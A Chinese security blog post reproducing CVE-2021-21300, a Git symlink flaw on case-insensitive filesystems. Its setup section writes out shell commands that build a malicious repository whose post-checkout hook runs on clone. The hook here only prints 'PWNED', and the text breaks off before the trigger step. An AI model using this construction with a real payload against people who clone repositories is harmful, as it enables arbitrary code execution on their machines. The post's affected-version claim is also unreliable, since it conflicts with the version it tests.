相关文章推荐
犯傻的上铺  ·  javascript - ...·  1 年前    · 
备案 控制台
学习
实践
活动
专区
工具
TVP
写文章
专栏首页 Timeline Sec CVE-2021-21300:Git符号链接代码执行漏洞复现
2 0

海报分享

CVE-2021-21300:Git符号链接代码执行漏洞复现

作者:Th1nk@Timeline Sec

本文字数:613

阅读时长:2~3min

声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

Git 是一个开源的分布式版本控制系统。是 Linus Torvalds 开发的一个开放源码的版本控制软件,采用了分布式版本库的方式,可以有效、高速地处理从很小到非常大的项目。

0x02 漏洞概述

编号:CVE-2021-21300

受影响版本的Git仓库中如果包含符号链接文件,可能会导致在不区分大小写的文件系统克隆时执行刚刚切换分支的脚本。攻击者利用此漏洞可以执行任意代码。

0x03 影响版本

Git < 2.14.6

0x04 环境搭建

1、Windows安装Git-2.17.1-64-bit

https://www.npackd.org/p/git64/2.17.1.2

2、在ubuntu构建恶意仓库并上传到github(执行的命令在第三行命令里)

git init delayed-checkout 
cd delayed-checkout
echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes && mkdir A && printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout && chmod +x A/post-checkout && >A/a && >A/b && git add -A && rm -rf A && ln -s .git/hooks a && git add a && git commit -m initial
git branch -M main
git remote add origin [自己的仓库地址]
git push -u origin main

查看github仓库

校验各文件内容是否正确